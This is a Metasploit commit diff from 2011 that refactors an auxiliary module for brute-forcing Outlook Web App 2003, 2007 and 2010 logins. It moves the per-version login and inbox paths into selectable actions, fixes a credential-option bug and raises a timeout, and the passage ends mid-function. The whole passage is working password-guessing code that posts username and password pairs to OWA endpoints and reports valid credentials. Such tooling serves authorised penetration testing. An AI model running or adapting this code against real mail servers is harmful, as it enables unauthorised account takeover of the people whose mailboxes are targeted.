- Use 'Actions' to configure which OWA version to try
- Fix a bug where the USER_AS_PASS option might overwrite PASSWORD (and not restoring it) even though a password is already set.
- Increase timeout to 25
- Update description
This commit is contained in:
sinn3r 2011-12-22 16:26:02 -06:00
parent db90989db4
commit ce6b1d6b8c
1 changed files with 66 additions and 28 deletions

View File

@ -17,21 +17,53 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
'Description' => %q{
This module tests credentials on OWA 2003, 2007 and 2010 servers.
This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
action is set to OWA 2010.
},
'Author' =>
[
'Vitor Moreira',
'Spencer McIntyre',
'SecureState R&D Team'
'SecureState R&D Team',
'sinn3r'
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Actions' =>
[
[
'OWA 2003',
{
'Description' => 'OWA version 2003',
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
'InboxPath' => '/exchange/',
'InboxCheck' => /Inbox/
}
],
[
'OWA 2007',
{
'Description' => 'OWA version 2007',
'AuthPath' => '/owa/auth/owaauth.dll',
'InboxPath' => '/owa/',
'InboxCheck' => /addrbook.gif/
}
],
[
'OWA 2010',
{
'Description' => 'OWA version 2010',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/
}
]
],
'DefaultAction' => 'OWA 2010'
)
register_options(
[
OptInt.new('RPORT', [ true, "The target port", 443]),
OptString.new('VERSION', [ true, "OWA VERSION (2003, 2007, or 2010)", '2007'])
], self.class)
register_advanced_options(
@ -43,11 +75,30 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('BLANK_PASSWORDS')
end
def cleanup
# Restore the original settings
datastore['BLANK_PASSWORDS'] = @blank_passwords_setting
datastore['USER_AS_PASS'] = @user_as_pass_setting
end
def run
datastore['BLANK_PASSWORDS'] = false # OWA doesn't support blank passwords
# Store the original setting
@blank_passwords_setting = datastore['BLANK_PASSWORDS']
# OWA doesn't support blank passwords
datastore['BLANK_PASSWORDS'] = false
# If there's a pre-defined username/password, we need to turn off USER_AS_PASS
# so that the module won't just try username:username, and then exit.
@user_as_pass_setting = datastore['USER_AS_PASS']
if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil?
print_status("Disabling 'USER_AS_PASS' because you've specified an username/password")
datastore['USER_AS_PASS'] = false
end
vhost = datastore['VHOST'] || datastore['RHOST']
print_status("#{msg} Testing version #{datastore['VERSION']}")
print_status("#{msg} Testing version #{action.name}")
# Here's a weird hack to check if each_user_pass is empty or not
# apparently you cannot do each_user_pass.empty? or even inspect() it
@ -58,34 +109,21 @@ class Metasploit3 < Msf::Auxiliary
end
print_error("No username/password specified") if isempty
if datastore['VERSION'] == '2003'
authPath = '/exchweb/bin/auth/owaauth.dll'
inboxPath = '/exchange/'
loginCheck = /Inbox/
elsif datastore['VERSION'] == '2007'
authPath = '/owa/auth/owaauth.dll'
inboxPath = '/owa/'
loginCheck = /addrbook.gif/
elsif datastore['VERSION'] == '2010'
authPath = '/owa/auth.owa' # Post creds here
inboxPath = '/owa/' # Get request with cookie/sessionid
loginCheck = /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/ # check result
else
print_error('Invalid VERSION, select one of 2003, 2007, or 2010')
return
end
auth_path = action.opts['AuthPath']
inbox_path = action.opts['InboxPath']
login_check = action.opts['InboxCheck']
begin
each_user_pass do |user, pass|
vprint_status("#{msg} Trying #{user} : #{pass}")
try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{msg} HTTP Connection Error, Aborting")
end
end
def try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
headers = {
'Cookie' => 'PBack=0'
@ -100,11 +138,11 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'encode' => true,
'uri' => authPath,
'uri' => auth_path,
'method' => 'POST',
'headers' => headers,
'data' => data
}, 20)
}, 25)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
@ -129,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => inboxPath,
'uri' => inbox_path,
'method' => 'GET',
'headers' => headers
}, 20)
@ -148,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary
return :skip_pass
end
if res.body =~ loginCheck
if res.body =~ login_check
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {